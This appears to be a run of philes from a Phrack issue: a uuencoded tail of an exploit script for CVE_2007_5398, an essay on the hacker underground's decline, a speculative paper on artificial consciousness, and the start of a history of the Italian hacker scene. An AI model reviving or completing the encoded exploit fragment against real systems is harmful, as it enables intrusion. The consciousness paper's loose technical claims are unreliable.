M<'1S+FQI<W0I.@T*"0EF;W(@=&%R9V5T(&EN($‑615\R,#`W7S4S.3@N=&%R M9V5T<SH‑"@D)"7!R:6YT("(E,3)S("`@("5S(B`E("AT87)G971;)VYA;64G M72P@=&%R9V5T6R=D97‑C<FEP=&EO;B==*0T*#0H)"7‑Y<RYE>&ET*#$I#0HM"@ER971U<FX@;W!T<RP@87)G<PT*#0ID968@;6%I;BAA<F=S*3H‑"@EO<'1S M+"!A<F=S(#T@<&%R<V5?87)G<RAA<F=S*0T*#0H)97AP;&]I="`]($‑615\R M,#`W7S4S.3@H;W!T<RYH;W‑T+"!O<'1S+G1A<F=E="D‑"@EE>'!L;VET+G)U M;B@I#0H‑"FEF(%]?;F%M95]?(#T]("=?7VUA:6Y?7R<Z#0H);6%I;BAS>7,N ‑87)G=ELQ.ETI#0H‑"F%M

`

The Underground Myth

==Phrack Inc.==

Volume 0x0c, Issue 0x41, Phile #0x0d of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ The Underground Myth ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ By Anonymous ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1 ‑ Hacker's Myth

2 ‑ The Security Industry

3 ‑ Black Hat, Two Faces

4 ‑ Technology

5 ‑ Criminals

6 ‑ Forgotten Youth

7 ‑ The Forward Link

‑‑‑‑‑‑‑‑‑‑‑‑‑

Hacker's Myth

‑‑‑‑‑‑‑‑‑‑‑‑‑

This is a statement on the fate of the modern underground. There will be none of the nostalgia, melodrama, black hat rhetoric or white hat over‑analysis that normally accompanies such writing.

Since the early sixties there has been just one continuous hacking scene. From phreaking to hacking, people came and went, explosions of activity, various geographical shifts of influence. But although the scene seemed to constantly redefine itself in the ebb and flow of technology, it always had a direct lineage to the past, with similar traditions, culture and spirit.

In the past few years this connection has been completely severed.

And so there's very little point in writing about what the underground used to be; leave that to the historians. Very little point writing about what should be done to make everything good again; leave that to the dreamers and idealists. Instead I'm going to lay down some cold hard facts about the way things are now, and more importantly, how they came to be this way.

This is the story of how the underground died.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Security Industry

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Then in the U.S. music scene there was big changes made

Due to circumstances beyond our control... such as payola The rock n roll scene died after two years of solid rock

‑ The Animals, circa 1964

There is little doubt that the explosion of the security industry has directly coincided with the decline of the hacking scene. The hackers of the eighties and nineties became the security professionals of the new millennium, and the community suffered for it.

The fact is that hackers, mostly on an individual basis, decided to use their passion as a source of income. Whether this is good, bad, or just pragmatic is completely irrelevant. Nearly all the hackers that could get jobs did. For the individuals that decision has been made (for better or worse), and in general there's nothing that will change this.

This was a hacker exodus. What really mattered was not the loss of any individuals, but the cumulative effect this had on the underground. The more hackers that left the underground for a corporate life, the fewer that came in. And those who stayed became entrenched, increasingly disconnected.

Collaboration in this new age of career hackers has all but ceased to exist. Individuals are now obsessed with credit. For their career, for their standing in the community, it must be absolutely clear who this research, this vulnerability, or even this opinion belongs to.

There is no trust in this corporate community; an underground issue greatly amplified by corporate motivations. A single person can go months or even years without telling anyone exactly what he is working on, and whats more, will be genuinely worried about someone "publishing" their results before him. There is no respect for the information he holds, no belief that information should be free, no belief that research should be open. All that matters is credit; all that matters is fame and money, their career.

This is purely the fault of the security industry, who has exploited and cultivated this culture, designed it for their needs. The truly sad thing is that the corporate security world hasn't realized that they are sitting on a gold mine, and as a result the mine is likely to collapse; and likely to take their industry down with it.

The security industry uses information as its sole commodity, information about insecurity. Who has the information, and who doesn't is what makes this economy work. Whats more, the economy has been founded on the continued output of a finite group of hackers. For the most part, founded on those hackers that came out of the underground scene at their technical prime.

But these hackers are not going to continue their production indefinitely. They will lose their technical edge, move on to other industries, perhaps climb the ladder up to management, and then retire. The question is, then what? Then it will be up to the new wave of young security professionals, whose motivation is as much financial as it is passion for the technology and the thrill of the hacking game.

To imagine that these new wave office workers, university trained and disinterested, can match the creative output of a genuine hacker is laughable. The industry will stagnate under these conditions. The rapid technical advancement we have seen will end, no more breakthroughs: no more new security products or services. Just the same old techniques being rehashed again and again until the rock has been bled dry.

I am trying to show you the symbiotic nature of the security industry and the hacking scene. Industry needs insecurity to survive, there is no doubt about this. A secure and stable Internet is not profitable for long. Hackers provided instability, change, chaos. So the industry became a parasite on the hacking scene, devouring the talent pool without giving anything back, not thinking of what will happen when there are no more hackers to consume.

For this reason, the security industry, much like the hacker underground, is doomed, perhaps even destined for failure. But for now, all that matters is that we have a thriving industry and...

A hacker underground proclaimed to be dead.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Black Hat, Two Faces

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

It would be easy to lay the blame squarely on the shoulders of the security industry. A lot of people have. Unfortunately, its not that simple. Perhaps the underground could have survived without the lure of a six figure job, but one thing should be made clear. The self‑proclaimed black hat movement does nothing to help.

Various black hat groups have claimed to be the voice of the underground, but the black hat scene was only ever a pale imitation of the actual underground. The underground wasn't at all interested in public self‑aggrandizement, but this is all the black hats ever did. All that their various rants and escapades accomplished was to show how desperate they actually were for fame and recognition.

But whats worse, while they often talk a big game, they very rarely have the pedigree to back it up. This is mostly because these self‑proclaimed black hats are really just as self‑serving as the white hats they pretend to detest. With few exceptions, those black hats that aren't already working in the security industry are those that don't have the skills to cut it.

The entire anti‑security theme was simply embarrassing. This was just the black hat movement admitting that they couldn't step up and represent in an increasingly technical world. Where once hacking skill commanded respect, now the black hats were promoting misinformation in order to make what few hacks they managed to pull off easier. They couldn't step up to a challenge, they couldn't outsmart the white hats they so detest.

This ineptitude and misguided fervor of the black hat scene had a massive negative impact on the hacking underground. The true voice of the underground was lost behind the noise and drama, until the voice became a whisper.

And then eventually fell silent.

‑‑‑‑‑‑‑‑‑‑

Technology

‑‑‑‑‑‑‑‑‑‑

The very nature of technology, a dynamic and intractable force, had a lot to say in the demise of the hacking world. In many cases, if a black hat had been active 5 or 10 years earlier they would have been technically competent and may well have contributed significantly. This is because with the utmost respect, and despite all the nostalgia, hackers of the past had it easy.

In the early years, the problems hackers faced were largely related to the availability of information. Isolated groups of people had their tricks and techniques, and sharing this information was problematic. This is in direct contrast with the situation today, where there is an excess of information but a void of quality.

As a result of many differing factors, the world is becoming aware of the threats posed by lax security. When there is money at risk, steps will be taken to protect those assets. We see now an increasing move towards technical security mechanisms being employed as part of a defense in depth strategy, and as a result, to be a hacker today requires immense technical ability in a broad range of disciplines. It takes years of individual study to reach this level.

But unfortunately, fewer and fewer people are willing, or indeed capable of following this path, of pursuing that ever‑unattainable goal of technical perfection. Instead, the current trend is to pursue the lowest common denominator, to do the least amount of work to gain the most fame, respect or money.

There has also been an increasingly narrow range in what is published. In part this is because of the lack of accessibility of certain systems (through obscurity or price), but this is also increasingly dictated by fashion. In a desire to fit in with the community, to be accepted in to conferences, to be seen doing the right things in the right places with the right people, researchers are all too happy to slot in to this pattern of predictable and narrow progress.

And even then, the standards of what makes acceptable research, or for what makes a vulnerability interesting, drops with every year. The gap between offensive research and defensive implementations continues to grow, to the point where public vulnerability research has become a parody of what it once was, a type of inside joke.

There is no creativity, no sense of arcana anymore.

‑‑‑‑‑‑‑‑‑

Criminals

‑‑‑‑‑‑‑‑‑

From Operation Sundevil to cyber terrorism. The criminalization of computer hacking and, by association, computer hackers had a devastating impact on the underground. Hacking was criminalized in two ways, both of near equal importance: by legislation of computer crimes, and by the new trend of genuine criminals using hacking as a method for fraud.

There should be a clear separation between these two things. The fact that the underground collectively became criminals under the law for what they had been doing for, in some cases, decades. And the fact that in public perception, even among professionals that should know better, there was very little distinction between a genuine hacker and those criminals using hacking purely as a method for profit.

Indeed, little of what organized crime and terrorist/activist groups are doing could justifiably be labeled hacking. It is simply convenient to make this simplification, in media and in industry. The security industry knows the difference, but they have no economic interest in there being any clarity on this point. Any sort of hacking, anything they can sensationalize enough to scare their profit margin up suits them perfectly.

For the underground, these issues largely affected individuals, not the broader structure of things. Each person had to make a personal decision on whether it was worth 1) being seen as a criminal under the law and 2) being seen as a criminal in public perception. Why should the hacker face this when such an easy, safe, respectable alternative is available in the security industry?

Even the term black hat has been twisted into something more closely aligned to organized crime. For all their faults, black hats were not (in theory) motivated by this type of money.

It comes down to an aging hacking population deciding, on an individual basis, to settle down with their families, their material possessions, their careers. No one can argue that there is anything wrong with this. It is just a fact that these hackers left the scene behind.

Leaving a void too large to be filled.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Forgotten Youth

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The forgotten aspect of this whole story is, without doubt, the importance of new talent entering the world of hacking. Historically, hacking has belonged to the young. With every passing year, the average age of hackers collectively increases. Some would claim this is a sign of a maturing discipline. For surely, what could youth possibly contribute in this technological landscape? They call them kids, dismiss them as irrelevant.

Despite all of the issues facing the underground, if hackers had managed to get this one aspect right, if they had recognized the importance of those who would come after them, if they had given them something to aspire to be, if they had directly or indirectly taught them the accumulated wisdom that so often separates a hacker from the crowd; then perhaps there still would be a hacker underground.

Nearly all of the situations surrounding the disestablishment of the underground were circumstantial, there was nobody to blame, and nothing that could be done. But one point for which this was not true was the underground's obligations to young hackers. An entire generation of talented hackers have lost the opportunity to become a part of something bigger than themselves by participating in a functioning hacking community, simply because hackers were too self‑absorbed to notice.

The decline of the underground scene happened relatively quickly, and also relatively quietly. The hacker who left the underground behind for his new life was unlikely to justify or explain his choices. In fact it was more likely he would deny being changed at all. It's likely he'd even continue to have contact with his fellow ex‑hackers, in some imitation of the underground scene. This only helped to obscure what was actually happening.

Today's youth, for the most part, have no true understanding of hackers or hacking. They have no knowledge of the history, no knowledge that a history even exists. Their hacker is the media's hacker, the cyber terrorist, the Russian mafia. This is unfortunate, but the real trouble begins for those few that somehow become interested enough to look a bit deeper.

The average person requires some form of role model, something to aspire to, to imitate and to an extent, to idolize. At this time, the only visible efforts were the white hat researchers, the black hat horde or various other technically inept self‑proclaimed 'experts'. There is so little inspiring research, and even less inspiring hacking, that anyone new to the world of hacking is almost invariably left with a skewed impression of things.

Indeed, for a lot of the young people that managed to acquire the necessary technical base, hacking was seen as simply an interesting career path. There is no passion in these people, no motivation to extend and create. A competent professional, valued employee.

But no longer a hacker.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Forward Link

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The hacker underground has been systematically dismantled, a victim of circumstance. There was no reason for this, no conspiracy, no winner. A conquered people, but with no conqueror, no enemy to fight. No chance of rebellion. Conquered by circumstance, if not fate.

At first this would seem to be a bleak message. What is the point of even trying anymore? Why practice a dead art? But the truth is that the art is not dead, just the circle that brought the artists together. The hacker underground is broken, but the hackers are not.

Casualties have been high; but there still exists a scattered, marginalized, and misrepresented people who are the hackers. Hackers, not black hat nor white, not professionals, not amateurs (surely none of this matters), are still out there in this world today, still with all the potential to be something great.

The question is not then how to artificially group these people into a new underground movement. The question is not how to mourn the passing of the golden days, how to keep the memories alive. There are no questions of this sort, no problems that can be solved or corrected by individual action.

All that remains is to relax, to do what you enjoy doing; to hack purely for the enjoyment of doing so. The rest will come naturally, a new scene, with its own traditions, culture and history. A new underground, organically formed over time, just like the first, out of the hacker's natural inclination to share and explore.

It will take time, and there will be difficulties. Some will not be able to let go of the past, and some will fail for not remembering it. But in the end, after everything has been said and done, the equilibrium will be restored.

A new world, at the frontier of cyberspace, belonging to the hackers

Hacking your brain

==Phrack Inc.==

Volume 0x0c, Issue 0x41, Phile #0x0e of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Artificial Consciousness ]=‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑=[ A complete human behaviorism simulation ]=‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by ‑C ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ c@cdej.org ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In 1956 John McCarthy defined the term Artificial Intelligence as "The science and engineering of making intelligent machines". Obviously, while studying artificial thoughts processing, we eliminated the human factor of Neuro‑linguistic filters that the brain applies on the meta receptors layer. A computer program simply will never tackle a thought based on impulsive reactions. There is no human behaviorism in AI. Instead, we substitute this mechanism with an algorithm of computational processing and information storage indexing. Here resides the very core of AI science. Many algorithms have been evolved and applied, overcoming faulty thinking, infinite loops of exclusive‑OR decision making, and geographic/territorial mapping of robotics, and so forth. Fifty two years later, we intend to rationalize a new approach to this field, trying to keep away from science fiction.

This paper is fairly introductory to both classic AI and our AI model, and requires no prerequisite except a bit of curiosity for this field, so enjoy reading.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I. Introduction

a) Abstract

b) Central Processing Spirit

II. Character assignment design

a)Psychological growth

b)Neuro‑performance

c)Reception ‑> Reactions ‑> Style

III. Ontology / knowledge engineering

a)Are we Heuristics?

c)Sub‑symbolic design

d)Artificial Desire

e)Reasoning

IV. Conclusion

I.Introduction

a) As a primary reflection on Artificial Intelligence, one must find it vital to proceed according to a precise scientific approach for analysis of thoughts.

A thought is an idea. A piece of information that the mind recalls. This (POI) is processed by the chemo‑electronic factory of the brain, and gets tainted by the MIND. Neuro Linguistic Programming theories organized the brain functions and how it deals with information through various filters. We borrow a basic segment and build upon it a resemblance in machine land:

‑ Similar thoughts stored in memory (anchoring)

‑ Virtues and choices (decision making)

‑ Freedom to take risk endeavors. (problem solving)

b) To tackle this ordeal from ground zero would be an enormous load on one article or paper to handle. Therefore we assumed our study from a point where we have advanced in applying to our AI subject, using the international common speech utility that is the English language, coupled with a set of rules we engineer as an esthetical appeal for this entity. These rules, as we will explain later on, do not follow the EXPERT SYSTEM decision making logic, where as human knowledge changes, the entire module will have to be rebuilt; instead our model will take its decisions based on Index Priority, that varies automatically as the AI experiences new events. In other words, we design our program a personality. This generic model is based on dual channel thought processing, fed by a hierarchy of database storage devices where each family of thoughts is preserved in its own design. Some of these databases, or sets of thoughts, will have a read only access permission, some will have read and write access permission, and some will only have write permissions, to be used as a temporary allocated space for acquired thoughts before sending the entire data structure to Central Processing Spirit. As we amusingly named(CPS).

While the read only access structures will hold information that relate only

to the fundamentals of the entity's core design, and provide our first line of defense once the automation process of Self Information Gathering (SIG) will be launched; From supplied text experts, web information, news, and much more feeds;

the write only permission space will be as such for the sake of restricting the AI entity from any premature usage of these new acquired thoughts before

being processed, organized and approved by the CPS (or the programmer).

Thinking about this design will surely summon up issues of time consumption.

How long will this construction take?

A minimum of one human lifetime? But that is highly acceptable with the implementation of 2nd generation AI replication algorithms, which is a base model of AI hybrid reproduction, resulting in the jointure of 2 AI entities CPS and dBases.

This dual model inheritance is not designed to be similar to the human reproduction between one male and one female human beings, but it has to do with the design of dual channel thought processing as mentioned previously. We tend to believe that our model's reproduction, has to occur between one couple.

This is matter of MULTI AGENT PLANNING and community scheduling, and is beyond the scope of this paper.

II. Character assignment design

a)Psychological growth.

"It's not how perfect you do something that's important, but how others perceive it."

A famous question is always there. Could a machine have life, or will it be dry simulation. Basically, this should not matter at all!

Regardless of the process a human being achieves in developing a unique character, and the tremendous complexity that subsists in his neuropsychological growth, it almost only pertains to how others interpret his reactions and behavior.

That in mind, we couldn't care less about how a machine obtaining a real genuine thought, or a lifelike style of its own. We will design an algorithm of learning that will eventually attribute a character to the machine, depending on how much and how fast it could process the SELECTED REACTIONS.

In other terms, given one action that is having ten children listen to an adult instruction such as "Finish your homework, then watch TV" we could observe ten different reactions ranging from obedience, to defiance. And that relates to:

‑How bad the child wants to watch TV

‑How important are his homework

‑What is shown on TV

‑Is it a circumstance free situation or has it to do with another (might say no in revenge for not having ice cream an hour ago) ‑and much more situational parameters.

In machine land, our CPS would have built a certain database of events in correlation with the outcome that happened, indexed them according to a judgmental scale, and throughout its uptime, it will select how to react upon life events according to what it has been fed as an Index Key Priority.

Technically speaking, this is very easily programmable with recent database technologies and language. The more parenting and training our CPS takes, and efficiency in our database selection design, the more chances are to obtain a unique character and attitude.

b) The two paradigms of learning that concern us are: SUPERVISED and UNSUPERVISED.

First, let us talk about the basics of machine learning. Classic AI always outlined machine learning from reaching a state of consciousness, as it is believed that computer learning is only about designing algorithms to find statistical regularities or various data patterns. And then tried to resolve problems such as Classifications, exclusive‑OR decisions, and so forth, with Decision Trees. Decision Trees are a simple but effective logic design, where a chain of boolean questions might take you down the leafs as you pick up your choices Yes,No,No,Yes.

In our opinion, and as Neural Networks progress only showed, this design could attain at its best a good speech recognition utility or a medical assistance program that would diagnose and evaluate cancer subjects.

In this approach, Supervised Learning is the logic of feeding the AI with rules of a world (classification system) we already created, and relying heavily on the training our machine gets in order to minimize the error margin (Markov theorem, Bayesian Networks.)

On the other hand, Unsupervised Learning shifts interest more toward decision making than it is to classification. It is simply a way to find a framework suitable for decision oriented reasoning, based on a punish/reward outcome.

This model builds up a history of results, upon which it bases a statistical decision making techniques for the future questions at hand. Clustering is the second Unsupervised Learning type, and is achieved by finding similarities in the training data, not trying to boost a utility function.

Now that this was said, let us think about the limitations.

Whether we preprogrammed the AI to reach a certain purpose, or by itself as a systematic self‑learning module, the LEARNING mechanism should always follow one standard set of stimuli.

Let's outline this from the point of view of cognitive psychology: ‑Memory and recognition. It is a fairly straightforward job for a programmer to design a system with pattern matching, measuring of distances, and sequential treatment of information.

‑Verbal and linguistic evaluation. The AI should have a method to distinguish and assess similar information indices. Just like a human deja vu, it MUST relate the event to different occurrences stored in the memory, and decides its reaction based on how significant the other instances were at the time. This will eventually allow us to hope that this design would one day generate (i.e)new sentences of its own.

Interesting! Imagine the AI analyzing large amounts of data, images, sounds... on a regular basis while indexing the databases according to what possible emotions they would generate, and have it finally trained for this evaluation. It should come as no surprise if we had a design that could write poetry!

‑ Comprehension. As absurd as this might sound, AI has better assimilating facilities than humans. The process of comprehension is the most complicated phenomenon observed in Neuroscience, but from the very simple facts we concluded, machinery has the upper hand due to greater speed of processing than and better memory storage than ours. Now this is not a comparison between Men and Machine. We simply mention this as a fact that AI surpasses the human limitations of comprehension and it is only intuitive that such a design is possible.

‑ Neuro linguistic science has shown that humans have more difficulties understanding negation sentences than simple affirmative ones. Unlike humans, computer science treats booleans with the same speed and effort.

Many more disadvantages of comprehension process simply do not exist in AI.

That also means a great supply of information will be needed.Be it negations, complexity or ambiguity of sentences, this AI model is able to treat them with promising speeds to reach a self learning stage. Associating actions to the reactions analysis.

c) Perceiving the Universe is a mapping mechanism of Time and Space that we encounter through our biological senses. This we shall call the FLUXION SENSITIVITY.

Most importantly is to apply a successful text mining / pattern matching module to our AI, which will analyze text as its only sense of the Universe.

Fifty years of progress in this field allowed many researchers to reach a respectable level to the extent of using some customized AI programs in forensic psychology and criminology investigation.

The only new idea our model has to bring to the world of AI is an EMOTIONAL SIMULATION module.

Emotional simulation is a two‑way library of reactions prediction. Let us go into that.

For each event, a human being would display a certain emotion. This is vastly exposed in body language, tonality, timeline of the speech, and verbal choices.

We will only be concerned in expression analysis and timeline display.

Our model was based on a typology study done at the University of Kent, for a police interview tactics handbook. We used the same algorithm to detect emotions and display them in return.

(Think of it more as detecting the logic behind emotions.)

The Kent model is a big failure and nonsense, but nevertheless the three steps of the design set the stage for our Emotional Simulation (but in reverse):

‑delivery

‑maximization

‑manipulation

[Note: some readings about Kent's model could be in hand at this time]

In short, delivery has about 12 variables of expressions, open, close, leading. Maximization occurs when police agents try to intimidate the subject and push him to give out more clues. Our maximization is fishing for clues technique, used by asking more key questions.

There is not much to explain about manipulation. In our study, it could easily be merged with the maximization step.

Hopefully, in a few months (by mid 2008), we could put a complete program to test, that will not only detect the meanings of expressions, but will also "assume" the emotions behind them, and switch its mode to the appropriate behavior.

This AI will be the first model that could literally switch moods.

========================================

III. Ontology

a) Are we heuristics?

For the second part of this paper, we will be discussing the core formation for this AI model. Its existence and what constitutes its regulations. A common pitfall most AI scientists encounter is, to have a design based on precise mathematical reactions and decisions. Now let's go over this method first.

The evolution of AI happens to go from mimicking human responses, to impressive behavior simulation. The designer usually tries to produce a perfect replica of the human performance.

Now what will happen if even the most advanced researches in neuroscience haven't even scratched the shell of human neuropsychology? most importantly DECISION MAKING. How would we replicate a phenomenon if we haven't fully understood what drives it and how it reaches its steps?

This is why computer science employs a preprogrammed set of responses, based on what the designer believes is appropriate for humans, implementing a classic database structure that can only lead him to a one‑way exclusive question‑answer AI.

This classic method is flawed. Period.

One better approach to this is to avoid concepts of imitation and jump right through to what is called a Rule Of Thumb mode, which allows a certain vague margin for correct answers.

Using a heuristic method to resolve the problem of decision making, not only set stage for a more fluid AI, but also showed us practicality and broader playground for the programmer.

In terms of allowing many indexing modules to play the role of priority selector for each decision that is to be made.

For example, if you have to decide what pizza to order. Your mind filters would process and infinite numbers of POI before putting the decision in perspective, and most of the times, you normally "feel" it was a random choice and you could have survived with others.

But what if you try one kind, and found it was so delicious that you wanted to order it again next time? This is where the priority indexes come in handy.

The CPS has the freedom to add, remove, promote or demote indexes for each POI or family of POI, based only on what it "assumes" to be an acceptable circumstance.

This is a tricky turnaround in theory, but for the programmer, it is still the same straightforward job, and could be the first gap filler between boring Q/A programs and Hollywood Incredible Sci‑Fi.

c)Sub‑symbolic design

In order to architect a sophisticated knowledge design, Newel and Simon invented the theory of symbolic design, where a set of semantic rules might be applied to construct a further more complex structure.

I won.t say we are restricted to the subsymbolic design, but in fact, this theory fits perfectly.

So both sides of sub‑symbolic design are used to our advantage and not changed in theory:

‑Alternative development

‑Hybridism of subsymbolic and classic symbolic NLP (Natural Language Processing). Once the learning module is concluded, SS design will set the stage for the real MULTI‑AGENT interference.

The geometrically increasing computing power promotes five factors tending to reduce radically the role of any species of logic in IT :

1. Since deterministic applications are vanishing, the conventional algorithm (pattern marching) is not anymore program backbone.

2. Even when still useful, the conventional algorithm is not anymore the main programming instrument.

3. In AI the symbolic paradigm is steadily replaced by several sub‑symbolic ones, based on fine‑grain parallelism.

4. Even when symbols are used, they are stored in and retrieved from huge and cheap memory, rather than processed through sophisticated reasoning schemes (case‑based reasoning is just a blatant example). 5. Cognitive complexity of new, sophisticated logics is too high for a designer, when cut and try, is affordable.

This might sound a big deal of mambo jumbo at this point, considering the introductory nature of this paper, but more in depth details about this once the publication of this project will be official.

d)Artificial Desire

Very little have we to say about Artificial Desire. As we saw in the index priority and POI set of rules, we might easily trigger a vice‑random decision when it comes to natural desire for things, but at this point, we haven.t even perfected any way to make the AI really desire something. More like have it chose from a similar range of choices based on time variations, frequency of this choice, or event yet, have it try something for a first time. Neither us, or anyone who previously indulged in AI science dares to claim giving a machine this attribute. Nevertheless, having a decent normal vice‑random desire choice maker module, will simulate human behaviorism to a great extent, and fakes it. "We could have different choices with each one a probability of success based upon the past:

‑ 90%

‑ 88%

‑ 85% " as explained earlier.

So generally AI choses the first choice but for one time AI wil go for the second and see what happen. That could be considered as a "desire".

This fake simulation might also apply to the reasoning construct. Even if applied conforming to Kant.s practical reasoning, we still have to forge a "moral decision" based on what our CPS has a‑priori set of rules, and have the programmer stand in charge of supplying

the AI with this route.

IV. Conclusion

In a few words, I would like to apologize for the dry style of this paper, it started as a dissertation thesis and ended up as my future hobby side project. We might never even come close to a full artificial conscious design, but this model introduction surely drew a few interesting turnarounds that might facilitate future innovations.

I hope reading it was exciting enough for as many of you to be interested in further studies about this wonderful field.

‑C

c@cdej.org

International Scenes

==Phrack Inc.==

Volume 0x0c, Issue 0x41, Phile #0x0f of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ International scenes ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ By Various ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ <various@nsa.gov> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

For this release, 3 new international scenes are presented. The phrack staff would like to thank people who took the time to share information about their scene. A special thanks to gmac for having written something about a country that probably none of us know.

Once more, we would like to emphasize that we would like to see different scenes than the usual presented. We particulary think of China, Russia or South American countries.

For this release, we have:

1. Italia

2. Portugal

3. Uganda

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

An overview of the italian underground (1994‑2007)

You did read about the Italian scene last time on Phrack #47 [0], just a few months after the Italian Crackdown in 1994. This short article is an attempt to sum up the evolution of the Italian underground since those days.

1994 was the year of the so called Italian Crackdown (aka FidoBust): a wide (and wild) Finance Guard operation nominally aimed at busting warez BBS. A stunning total of nearly 200 BBS systems on the FidoNet network were seized with irresponsible methods including, but not limited to, the requisition of all electronic equipment from the sysops (included modems, cables, keyboards, monitors, ...) as well as the police sealing whole rooms.

In its first phase the purpose of the operation was to fight the illegal market of copied software and to satisfy the BSA lobby this way. However subsequent seizures and raids proved the crackdown also had a political objective. The bust included BBS that belonged to CyberNet (a network supporting the motto "INFORMATION WANTS TO BE FREE", populated by hackers and cyberpunks alike, close to social centres), ECN [1] (european network dedicated to broadening political debate and providing counter‑information about social themes and workplace politics) and PeaceLink [2] (peace/ecologist association and network).

Though just a few BBS were really involved in sale of warez, a lot of completely legal BBS closed to never open again as a result of the bust.

As new people were being busted, the national press gave its best at building castles in the air about hackers and describing them as software pirates or members of organized crime. The underground reacted striking to the reliability of media with a round of actions signed by the multiple name Luther Blisset [3]. The campaign adopted hoaxes and communication guerrilla to show the unsuitability of journalists, and even managed to have Mondadori, the second most important publishing company in Italy, print the whole *fake* book "Netgeneration" (1996).

As a consequence of the crackdown the Italian underground started feeling the need of an organization similar to the american EFF, able to support hackers against abuses. In 1995 ALCEI Electronic Frontiers Italy [4] was founded to "affirm and protect constitutional rights for electronic citizens as new communications technologies emerge".

Nearly at the same time, Metro Olografix [5] was born, an association made by people with a mixed range of skills and histories, from cyberpunks and hackers to social volunteers, that nowadays counts about 80 members. The main mission of Metro Olografix is to spread the telematics culture through the country supporting the old BBS spirit of sharing, free communication and cooperation. Metro Olografix has an office in Pescara for real life meetings and acts as a crossroads for other groups and individuals to meet. Thanks to the esteem and trust gained from the most part of the Italian underground, the association was able to organize events like "L'hacker e il magistrato" ("The hacker and the magistrate", from 1995 to 1999), a face to face conference involving hackers, magistrates and press reporters, aimed at communicating and making understand the difference between hackers that follow hacker ethic and real criminals.

While BBS were still experiencing hard times, 1995 registered the boom of Internet access in Italy ‑ mainly thanks to the VOL ISP that offered free promotional accounts, opened POPs in many cities reachable with a cheap urban rate call and at the beginning even provided a toll‑free number. Internet access was no more limited to universities and the opportunity to have a relatively fast, cheap and long lasting Internet SLIP (later on PPP) connection from home marked the growth of a new generation of young hackers. Those guys started to study and play with TCP/IP protocols and they elected the Linux open‑source operating system and the C programming language as their favourite study matters. Those wannabes were going to inject into the Italian underground new ideas within a few years and to create some valuable projects and groups.

Like the new generation, old‑school BBS hackers too got very interested in the communication opportunities offered by the Internet. Thanks to "Isole nella Rete" [6] (the Italian for "Islands in the Net"), the Internet connection of ECN, BBSs of the CyberNet circuit begun to put their contents online. Message areas turned into mailing lists and IRC channels like #cybernet were born on EFNet.

